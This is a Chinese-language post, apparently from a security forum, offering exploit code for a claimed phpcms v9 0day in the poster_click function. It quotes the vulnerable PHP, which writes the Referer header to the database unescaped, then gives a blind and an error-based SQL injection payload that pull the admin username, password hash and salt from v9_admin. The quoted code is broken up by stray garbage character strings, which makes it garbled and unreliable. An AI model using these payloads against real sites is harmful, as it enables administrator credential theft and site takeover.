phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
; h! _& _4 l% b. ]1 e- f6 T( Kif (!is_array($r) && empty($r)) return false;
, t: T$ `$ `5 G( K9 n- _$ip_area = pc_base::load_sys_class('ip_area');
- {0 H! f! Z' V4 k$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
4 z$ V9 r# n+ \if($id) {
) }. f# @: o) V2 Y1 K1 y$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
. F5 t5 Q0 o* {$ m! H/ u  t$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
6 ?9 I! w+ \; @* M" N  Xif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
; Q8 W5 ?& c, \4 \% \header('Location: '.$url);
4 i9 O8 X, |. [' {9 d. G}
# Y% C7 H% E% E8 ]4 m4 e% w. K

  C6 X- P0 n0 j: ?1、可以采用盲注入的手法：

+ R7 Q9 f* ?2 q8 Hreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
& s2 ^# b+ S, I! _7 ~
$ _6 ?& H/ ~) ]通过返回页面，正常与否一个个猜解密码字段。

2 F. F9 x$ `1 E2、代码是花开写的，随手附上了：
5 U# u# _2 f5 Y9 C4 z4 |
, c! V' d& Z! j5 q& N1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
4 q, J1 Q, r  Z) N) v1 w
此方法是爆错注入手法，原理自查。
